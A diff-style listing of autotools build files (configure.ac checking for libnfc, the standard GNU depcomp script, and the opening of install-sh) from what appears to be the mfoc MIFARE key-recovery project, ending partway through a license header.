AC_INIT([mfoc], [0.08], [mifare@nethemba.com])
|
||||||
|
AM_INIT_AUTOMAKE(@PACKAGE_NAME@, @PACKAGE_VERSION@)
|
||||||
|
|
||||||
|
|
||||||
|
AC_CONFIG_SRCDIR([src/mfoc.c])
|
||||||
|
AC_CONFIG_HEADERS([config.h])
|
||||||
|
|
||||||
|
# Checks for NFC libraries.
|
||||||
|
|
||||||
|
NFC_DIR="/usr/local/"
|
||||||
|
AC_ARG_WITH(libnfc,[ --with-libnfc=DIR location of the libnfc],
|
||||||
|
[if test "$withval" != no; then
|
||||||
|
if test "$withval" != yes; then
|
||||||
|
NFC_DIR=$withval
|
||||||
|
fi
|
||||||
|
fi])
|
||||||
|
CFLAGS="$CFLAGS -L$NFC_DIR/lib/ -I$NFC_DIR/include/libnfc/"
|
||||||
|
|
||||||
|
# Checks for programs.
|
||||||
|
AC_PROG_CC
|
||||||
|
# Checks for header files.
|
||||||
|
|
||||||
|
echo $NFC_DIR
|
||||||
|
|
||||||
|
AC_CHECK_HEADERS([stdio.h stdlib.h string.h $NFC_DIR/include/libnfc/libnfc.h $NFC_DIR/include/libnfc/defines.h unistd.h],[], [ echo "Error! You need to have libnfc >= 1.2.1."; exit -1; ])
|
||||||
|
|
||||||
|
# Checks for libraries
|
||||||
|
#AC_CHECK_LIB(nfc,nfc_configure, [], [ echo "Error! You need to have liblibnfc >= 1.2.1."; exit -1; ])
|
||||||
|
|
||||||
|
# Checks for typedefs, structures, and compiler characteristics.
|
||||||
|
AC_HEADER_STDBOOL
|
||||||
|
AC_TYPE_UINT32_T
|
||||||
|
AC_TYPE_UINT64_T
|
||||||
|
|
||||||
|
# Checks for library functions.
|
||||||
|
AC_FUNC_MALLOC
|
||||||
|
AC_FUNC_REALLOC
|
||||||
|
|
||||||
|
#PKG_CHECK_MODULES(LIBNFC, libnfc, [WITH_LIBNFC="1"], [WITH_LIBNFC="0"])
|
||||||
|
#if test "$WITH_LIBNFC" = "0"; then
|
||||||
|
# AC_MSG_ERROR([libnfc is mandatory.])
|
||||||
|
#fi
|
||||||
|
|
||||||
|
AC_CONFIG_FILES([Makefile
|
||||||
|
src/Makefile])
|
||||||
|
AC_OUTPUT
|
589
depcomp
Normal file
589
depcomp
Normal file
|
@ -0,0 +1,589 @@
|
||||||
|
#! /bin/sh
|
||||||
|
# depcomp - compile a program generating dependencies as side-effects
|
||||||
|
|
||||||
|
scriptversion=2007-03-29.01
|
||||||
|
|
||||||
|
# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007 Free Software
|
||||||
|
# Foundation, Inc.
|
||||||
|
|
||||||
|
# This program is free software; you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation; either version 2, or (at your option)
|
||||||
|
# any later version.
|
||||||
|
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
|
||||||
|
# 02110-1301, USA.
|
||||||
|
|
||||||
|
# As a special exception to the GNU General Public License, if you
|
||||||
|
# distribute this file as part of a program that contains a
|
||||||
|
# configuration script generated by Autoconf, you may include it under
|
||||||
|
# the same distribution terms that you use for the rest of that program.
|
||||||
|
|
||||||
|
# Originally written by Alexandre Oliva <oliva@dcc.unicamp.br>.
|
||||||
|
|
||||||
|
case $1 in
|
||||||
|
'')
|
||||||
|
echo "$0: No command. Try \`$0 --help' for more information." 1>&2
|
||||||
|
exit 1;
|
||||||
|
;;
|
||||||
|
-h | --h*)
|
||||||
|
cat <<\EOF
|
||||||
|
Usage: depcomp [--help] [--version] PROGRAM [ARGS]
|
||||||
|
|
||||||
|
Run PROGRAMS ARGS to compile a file, generating dependencies
|
||||||
|
as side-effects.
|
||||||
|
|
||||||
|
Environment variables:
|
||||||
|
depmode Dependency tracking mode.
|
||||||
|
source Source file read by `PROGRAMS ARGS'.
|
||||||
|
object Object file output by `PROGRAMS ARGS'.
|
||||||
|
DEPDIR directory where to store dependencies.
|
||||||
|
depfile Dependency file to output.
|
||||||
|
tmpdepfile Temporary file to use when outputing dependencies.
|
||||||
|
libtool Whether libtool is used (yes/no).
|
||||||
|
|
||||||
|
Report bugs to <bug-automake@gnu.org>.
|
||||||
|
EOF
|
||||||
|
exit $?
|
||||||
|
;;
|
||||||
|
-v | --v*)
|
||||||
|
echo "depcomp $scriptversion"
|
||||||
|
exit $?
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if test -z "$depmode" || test -z "$source" || test -z "$object"; then
|
||||||
|
echo "depcomp: Variables source, object and depmode must be set" 1>&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
|
||||||
|
depfile=${depfile-`echo "$object" |
|
||||||
|
sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
|
||||||
|
tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
|
||||||
|
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
|
||||||
|
# Some modes work just like other modes, but use different flags. We
|
||||||
|
# parameterize here, but still list the modes in the big case below,
|
||||||
|
# to make depend.m4 easier to write. Note that we *cannot* use a case
|
||||||
|
# here, because this file can only contain one case statement.
|
||||||
|
if test "$depmode" = hp; then
|
||||||
|
# HP compiler uses -M and no extra arg.
|
||||||
|
gccflag=-M
|
||||||
|
depmode=gcc
|
||||||
|
fi
|
||||||
|
|
||||||
|
if test "$depmode" = dashXmstdout; then
|
||||||
|
# This is just like dashmstdout with a different argument.
|
||||||
|
dashmflag=-xM
|
||||||
|
depmode=dashmstdout
|
||||||
|
fi
|
||||||
|
|
||||||
|
case "$depmode" in
|
||||||
|
gcc3)
|
||||||
|
## gcc 3 implements dependency tracking that does exactly what
|
||||||
|
## we want. Yay! Note: for some reason libtool 1.4 doesn't like
|
||||||
|
## it if -MD -MP comes after the -MF stuff. Hmm.
|
||||||
|
## Unfortunately, FreeBSD c89 acceptance of flags depends upon
|
||||||
|
## the command line argument order; so add the flags where they
|
||||||
|
## appear in depend2.am. Note that the slowdown incurred here
|
||||||
|
## affects only configure: in makefiles, %FASTDEP% shortcuts this.
|
||||||
|
for arg
|
||||||
|
do
|
||||||
|
case $arg in
|
||||||
|
-c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;;
|
||||||
|
*) set fnord "$@" "$arg" ;;
|
||||||
|
esac
|
||||||
|
shift # fnord
|
||||||
|
shift # $arg
|
||||||
|
done
|
||||||
|
"$@"
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
mv "$tmpdepfile" "$depfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
gcc)
|
||||||
|
## There are various ways to get dependency output from gcc. Here's
|
||||||
|
## why we pick this rather obscure method:
|
||||||
|
## - Don't want to use -MD because we'd like the dependencies to end
|
||||||
|
## up in a subdir. Having to rename by hand is ugly.
|
||||||
|
## (We might end up doing this anyway to support other compilers.)
|
||||||
|
## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
|
||||||
|
## -MM, not -M (despite what the docs say).
|
||||||
|
## - Using -M directly means running the compiler twice (even worse
|
||||||
|
## than renaming).
|
||||||
|
if test -z "$gccflag"; then
|
||||||
|
gccflag=-MD,
|
||||||
|
fi
|
||||||
|
"$@" -Wp,"$gccflag$tmpdepfile"
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
rm -f "$depfile"
|
||||||
|
echo "$object : \\" > "$depfile"
|
||||||
|
alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
|
||||||
|
## The second -e expression handles DOS-style file names with drive letters.
|
||||||
|
sed -e 's/^[^:]*: / /' \
|
||||||
|
-e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
|
||||||
|
## This next piece of magic avoids the `deleted header file' problem.
|
||||||
|
## The problem is that when a header file which appears in a .P file
|
||||||
|
## is deleted, the dependency causes make to die (because there is
|
||||||
|
## typically no way to rebuild the header). We avoid this by adding
|
||||||
|
## dummy dependencies for each header file. Too bad gcc doesn't do
|
||||||
|
## this for us directly.
|
||||||
|
tr ' ' '
|
||||||
|
' < "$tmpdepfile" |
|
||||||
|
## Some versions of gcc put a space before the `:'. On the theory
|
||||||
|
## that the space means something, we add a space to the output as
|
||||||
|
## well.
|
||||||
|
## Some versions of the HPUX 10.20 sed can't process this invocation
|
||||||
|
## correctly. Breaking it into two sed invocations is a workaround.
|
||||||
|
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
hp)
|
||||||
|
# This case exists only to let depend.m4 do its work. It works by
|
||||||
|
# looking at the text of this script. This case will never be run,
|
||||||
|
# since it is checked for above.
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
|
||||||
|
sgi)
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
"$@" "-Wp,-MDupdate,$tmpdepfile"
|
||||||
|
else
|
||||||
|
"$@" -MDupdate "$tmpdepfile"
|
||||||
|
fi
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
rm -f "$depfile"
|
||||||
|
|
||||||
|
if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files
|
||||||
|
echo "$object : \\" > "$depfile"
|
||||||
|
|
||||||
|
# Clip off the initial element (the dependent). Don't try to be
|
||||||
|
# clever and replace this with sed code, as IRIX sed won't handle
|
||||||
|
# lines with more than a fixed number of characters (4096 in
|
||||||
|
# IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines;
|
||||||
|
# the IRIX cc adds comments like `#:fec' to the end of the
|
||||||
|
# dependency line.
|
||||||
|
tr ' ' '
|
||||||
|
' < "$tmpdepfile" \
|
||||||
|
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
|
||||||
|
tr '
|
||||||
|
' ' ' >> $depfile
|
||||||
|
echo >> $depfile
|
||||||
|
|
||||||
|
# The second pass generates a dummy entry for each header file.
|
||||||
|
tr ' ' '
|
||||||
|
' < "$tmpdepfile" \
|
||||||
|
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
|
||||||
|
>> $depfile
|
||||||
|
else
|
||||||
|
# The sourcefile does not contain any dependencies, so just
|
||||||
|
# store a dummy comment line, to avoid errors with the Makefile
|
||||||
|
# "include basename.Plo" scheme.
|
||||||
|
echo "#dummy" > "$depfile"
|
||||||
|
fi
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
aix)
|
||||||
|
# The C for AIX Compiler uses -M and outputs the dependencies
|
||||||
|
# in a .u file. In older versions, this file always lives in the
|
||||||
|
# current directory. Also, the AIX compiler puts `$object:' at the
|
||||||
|
# start of each line; $object doesn't have directory information.
|
||||||
|
# Version 6 uses the directory in both cases.
|
||||||
|
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
|
||||||
|
test "x$dir" = "x$object" && dir=
|
||||||
|
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
tmpdepfile1=$dir$base.u
|
||||||
|
tmpdepfile2=$base.u
|
||||||
|
tmpdepfile3=$dir.libs/$base.u
|
||||||
|
"$@" -Wc,-M
|
||||||
|
else
|
||||||
|
tmpdepfile1=$dir$base.u
|
||||||
|
tmpdepfile2=$dir$base.u
|
||||||
|
tmpdepfile3=$dir$base.u
|
||||||
|
"$@" -M
|
||||||
|
fi
|
||||||
|
stat=$?
|
||||||
|
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
|
||||||
|
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
|
||||||
|
do
|
||||||
|
test -f "$tmpdepfile" && break
|
||||||
|
done
|
||||||
|
if test -f "$tmpdepfile"; then
|
||||||
|
# Each line is of the form `foo.o: dependent.h'.
|
||||||
|
# Do two passes, one to just change these to
|
||||||
|
# `$object: dependent.h' and one to simply `dependent.h:'.
|
||||||
|
sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
|
||||||
|
# That's a tab and a space in the [].
|
||||||
|
sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
|
||||||
|
else
|
||||||
|
# The sourcefile does not contain any dependencies, so just
|
||||||
|
# store a dummy comment line, to avoid errors with the Makefile
|
||||||
|
# "include basename.Plo" scheme.
|
||||||
|
echo "#dummy" > "$depfile"
|
||||||
|
fi
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
icc)
|
||||||
|
# Intel's C compiler understands `-MD -MF file'. However on
|
||||||
|
# icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c
|
||||||
|
# ICC 7.0 will fill foo.d with something like
|
||||||
|
# foo.o: sub/foo.c
|
||||||
|
# foo.o: sub/foo.h
|
||||||
|
# which is wrong. We want:
|
||||||
|
# sub/foo.o: sub/foo.c
|
||||||
|
# sub/foo.o: sub/foo.h
|
||||||
|
# sub/foo.c:
|
||||||
|
# sub/foo.h:
|
||||||
|
# ICC 7.1 will output
|
||||||
|
# foo.o: sub/foo.c sub/foo.h
|
||||||
|
# and will wrap long lines using \ :
|
||||||
|
# foo.o: sub/foo.c ... \
|
||||||
|
# sub/foo.h ... \
|
||||||
|
# ...
|
||||||
|
|
||||||
|
"$@" -MD -MF "$tmpdepfile"
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
rm -f "$depfile"
|
||||||
|
# Each line is of the form `foo.o: dependent.h',
|
||||||
|
# or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
|
||||||
|
# Do two passes, one to just change these to
|
||||||
|
# `$object: dependent.h' and one to simply `dependent.h:'.
|
||||||
|
sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
|
||||||
|
# Some versions of the HPUX 10.20 sed can't process this invocation
|
||||||
|
# correctly. Breaking it into two sed invocations is a workaround.
|
||||||
|
sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" |
|
||||||
|
sed -e 's/$/ :/' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
hp2)
|
||||||
|
# The "hp" stanza above does not work with aCC (C++) and HP's ia64
|
||||||
|
# compilers, which have integrated preprocessors. The correct option
|
||||||
|
# to use with these is +Maked; it writes dependencies to a file named
|
||||||
|
# 'foo.d', which lands next to the object file, wherever that
|
||||||
|
# happens to be.
|
||||||
|
# Much of this is similar to the tru64 case; see comments there.
|
||||||
|
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
|
||||||
|
test "x$dir" = "x$object" && dir=
|
||||||
|
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
tmpdepfile1=$dir$base.d
|
||||||
|
tmpdepfile2=$dir.libs/$base.d
|
||||||
|
"$@" -Wc,+Maked
|
||||||
|
else
|
||||||
|
tmpdepfile1=$dir$base.d
|
||||||
|
tmpdepfile2=$dir$base.d
|
||||||
|
"$@" +Maked
|
||||||
|
fi
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile1" "$tmpdepfile2"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
|
||||||
|
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2"
|
||||||
|
do
|
||||||
|
test -f "$tmpdepfile" && break
|
||||||
|
done
|
||||||
|
if test -f "$tmpdepfile"; then
|
||||||
|
sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile"
|
||||||
|
# Add `dependent.h:' lines.
|
||||||
|
sed -ne '2,${; s/^ *//; s/ \\*$//; s/$/:/; p;}' "$tmpdepfile" >> "$depfile"
|
||||||
|
else
|
||||||
|
echo "#dummy" > "$depfile"
|
||||||
|
fi
|
||||||
|
rm -f "$tmpdepfile" "$tmpdepfile2"
|
||||||
|
;;
|
||||||
|
|
||||||
|
tru64)
|
||||||
|
# The Tru64 compiler uses -MD to generate dependencies as a side
|
||||||
|
# effect. `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'.
|
||||||
|
# At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
|
||||||
|
# dependencies in `foo.d' instead, so we check for that too.
|
||||||
|
# Subdirectories are respected.
|
||||||
|
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
|
||||||
|
test "x$dir" = "x$object" && dir=
|
||||||
|
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
|
||||||
|
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
# With Tru64 cc, shared objects can also be used to make a
|
||||||
|
# static library. This mechanism is used in libtool 1.4 series to
|
||||||
|
# handle both shared and static libraries in a single compilation.
|
||||||
|
# With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d.
|
||||||
|
#
|
||||||
|
# With libtool 1.5 this exception was removed, and libtool now
|
||||||
|
# generates 2 separate objects for the 2 libraries. These two
|
||||||
|
# compilations output dependencies in $dir.libs/$base.o.d and
|
||||||
|
# in $dir$base.o.d. We have to check for both files, because
|
||||||
|
# one of the two compilations can be disabled. We should prefer
|
||||||
|
# $dir$base.o.d over $dir.libs/$base.o.d because the latter is
|
||||||
|
# automatically cleaned when .libs/ is deleted, while ignoring
|
||||||
|
# the former would cause a distcleancheck panic.
|
||||||
|
tmpdepfile1=$dir.libs/$base.lo.d # libtool 1.4
|
||||||
|
tmpdepfile2=$dir$base.o.d # libtool 1.5
|
||||||
|
tmpdepfile3=$dir.libs/$base.o.d # libtool 1.5
|
||||||
|
tmpdepfile4=$dir.libs/$base.d # Compaq CCC V6.2-504
|
||||||
|
"$@" -Wc,-MD
|
||||||
|
else
|
||||||
|
tmpdepfile1=$dir$base.o.d
|
||||||
|
tmpdepfile2=$dir$base.d
|
||||||
|
tmpdepfile3=$dir$base.d
|
||||||
|
tmpdepfile4=$dir$base.d
|
||||||
|
"$@" -MD
|
||||||
|
fi
|
||||||
|
|
||||||
|
stat=$?
|
||||||
|
if test $stat -eq 0; then :
|
||||||
|
else
|
||||||
|
rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
|
||||||
|
exit $stat
|
||||||
|
fi
|
||||||
|
|
||||||
|
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
|
||||||
|
do
|
||||||
|
test -f "$tmpdepfile" && break
|
||||||
|
done
|
||||||
|
if test -f "$tmpdepfile"; then
|
||||||
|
sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
|
||||||
|
# That's a tab and a space in the [].
|
||||||
|
sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
|
||||||
|
else
|
||||||
|
echo "#dummy" > "$depfile"
|
||||||
|
fi
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
#nosideeffect)
|
||||||
|
# This comment above is used by automake to tell side-effect
|
||||||
|
# dependency tracking mechanisms from slower ones.
|
||||||
|
|
||||||
|
dashmstdout)
|
||||||
|
# Important note: in order to support this mode, a compiler *must*
|
||||||
|
# always write the preprocessed file to stdout, regardless of -o.
|
||||||
|
"$@" || exit $?
|
||||||
|
|
||||||
|
# Remove the call to Libtool.
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
while test $1 != '--mode=compile'; do
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
shift
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Remove `-o $object'.
|
||||||
|
IFS=" "
|
||||||
|
for arg
|
||||||
|
do
|
||||||
|
case $arg in
|
||||||
|
-o)
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
$object)
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
set fnord "$@" "$arg"
|
||||||
|
shift # fnord
|
||||||
|
shift # $arg
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
test -z "$dashmflag" && dashmflag=-M
|
||||||
|
# Require at least two characters before searching for `:'
|
||||||
|
# in the target name. This is to cope with DOS-style filenames:
|
||||||
|
# a dependency such as `c:/foo/bar' could be seen as target `c' otherwise.
|
||||||
|
"$@" $dashmflag |
|
||||||
|
sed 's:^[ ]*[^: ][^:][^:]*\:[ ]*:'"$object"'\: :' > "$tmpdepfile"
|
||||||
|
rm -f "$depfile"
|
||||||
|
cat < "$tmpdepfile" > "$depfile"
|
||||||
|
tr ' ' '
|
||||||
|
' < "$tmpdepfile" | \
|
||||||
|
## Some versions of the HPUX 10.20 sed can't process this invocation
|
||||||
|
## correctly. Breaking it into two sed invocations is a workaround.
|
||||||
|
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
dashXmstdout)
|
||||||
|
# This case only exists to satisfy depend.m4. It is never actually
|
||||||
|
# run, as this mode is specially recognized in the preamble.
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
|
||||||
|
makedepend)
|
||||||
|
"$@" || exit $?
|
||||||
|
# Remove any Libtool call
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
while test $1 != '--mode=compile'; do
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
shift
|
||||||
|
fi
|
||||||
|
# X makedepend
|
||||||
|
shift
|
||||||
|
cleared=no
|
||||||
|
for arg in "$@"; do
|
||||||
|
case $cleared in
|
||||||
|
no)
|
||||||
|
set ""; shift
|
||||||
|
cleared=yes ;;
|
||||||
|
esac
|
||||||
|
case "$arg" in
|
||||||
|
-D*|-I*)
|
||||||
|
set fnord "$@" "$arg"; shift ;;
|
||||||
|
# Strip any option that makedepend may not understand. Remove
|
||||||
|
# the object too, otherwise makedepend will parse it as a source file.
|
||||||
|
-*|$object)
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
set fnord "$@" "$arg"; shift ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
obj_suffix="`echo $object | sed 's/^.*\././'`"
|
||||||
|
touch "$tmpdepfile"
|
||||||
|
${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
|
||||||
|
rm -f "$depfile"
|
||||||
|
cat < "$tmpdepfile" > "$depfile"
|
||||||
|
sed '1,2d' "$tmpdepfile" | tr ' ' '
|
||||||
|
' | \
|
||||||
|
## Some versions of the HPUX 10.20 sed can't process this invocation
|
||||||
|
## correctly. Breaking it into two sed invocations is a workaround.
|
||||||
|
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile" "$tmpdepfile".bak
|
||||||
|
;;
|
||||||
|
|
||||||
|
cpp)
|
||||||
|
# Important note: in order to support this mode, a compiler *must*
|
||||||
|
# always write the preprocessed file to stdout.
|
||||||
|
"$@" || exit $?
|
||||||
|
|
||||||
|
# Remove the call to Libtool.
|
||||||
|
if test "$libtool" = yes; then
|
||||||
|
while test $1 != '--mode=compile'; do
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
shift
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Remove `-o $object'.
|
||||||
|
IFS=" "
|
||||||
|
for arg
|
||||||
|
do
|
||||||
|
case $arg in
|
||||||
|
-o)
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
$object)
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
set fnord "$@" "$arg"
|
||||||
|
shift # fnord
|
||||||
|
shift # $arg
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
"$@" -E |
|
||||||
|
sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
|
||||||
|
-e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' |
|
||||||
|
sed '$ s: \\$::' > "$tmpdepfile"
|
||||||
|
rm -f "$depfile"
|
||||||
|
echo "$object : \\" > "$depfile"
|
||||||
|
cat < "$tmpdepfile" >> "$depfile"
|
||||||
|
sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
msvisualcpp)
|
||||||
|
# Important note: in order to support this mode, a compiler *must*
|
||||||
|
# always write the preprocessed file to stdout, regardless of -o,
|
||||||
|
# because we must use -o when running libtool.
|
||||||
|
"$@" || exit $?
|
||||||
|
IFS=" "
|
||||||
|
for arg
|
||||||
|
do
|
||||||
|
case "$arg" in
|
||||||
|
"-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
|
||||||
|
set fnord "$@"
|
||||||
|
shift
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
set fnord "$@" "$arg"
|
||||||
|
shift
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
"$@" -E |
|
||||||
|
sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile"
|
||||||
|
rm -f "$depfile"
|
||||||
|
echo "$object : \\" > "$depfile"
|
||||||
|
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile"
|
||||||
|
echo " " >> "$depfile"
|
||||||
|
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile"
|
||||||
|
rm -f "$tmpdepfile"
|
||||||
|
;;
|
||||||
|
|
||||||
|
none)
|
||||||
|
exec "$@"
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
echo "Unknown depmode $depmode" 1>&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
# Local Variables:
|
||||||
|
# mode: shell-script
|
||||||
|
# sh-indentation: 2
|
||||||
|
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||||
|
# time-stamp-start: "scriptversion="
|
||||||
|
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||||
|
# time-stamp-end: "$"
|
||||||
|
# End:
|
519
install-sh
Normal file
519
install-sh
Normal file
|
@ -0,0 +1,519 @@
|
||||||
|
#!/bin/sh
|
||||||
|
# install - install a program, script, or datafile
|
||||||
|
|
||||||
|
scriptversion=2006-12-25.00
|
||||||
|
|
||||||
|
# This originates from X11R5 (mit/util/scripts/install.sh), which was
|
||||||
|
# later released in X11R6 (xc/config/util/install.sh) with the
|
||||||
|
# following copyright and license.
|
||||||
|
#
|
||||||
|
# Copyright (C) 1994 X Consortium
|
||||||
|
#
|
||||||
|
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
# of this software and associated documentation files (the "Software"), to
|
||||||
|
# deal in the Software without restriction, including without limitation the
|
||||||
|
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
# sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
# furnished to do so, subject to the following conditions:
|
||||||
|
#
|
||||||
|
# The above copyright notice and this permission notice shall be included in
|
||||||
|
# all copies or substantial portions of the Software.
|
||||||
|
#
|
||||||
|
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
|
||||||
|
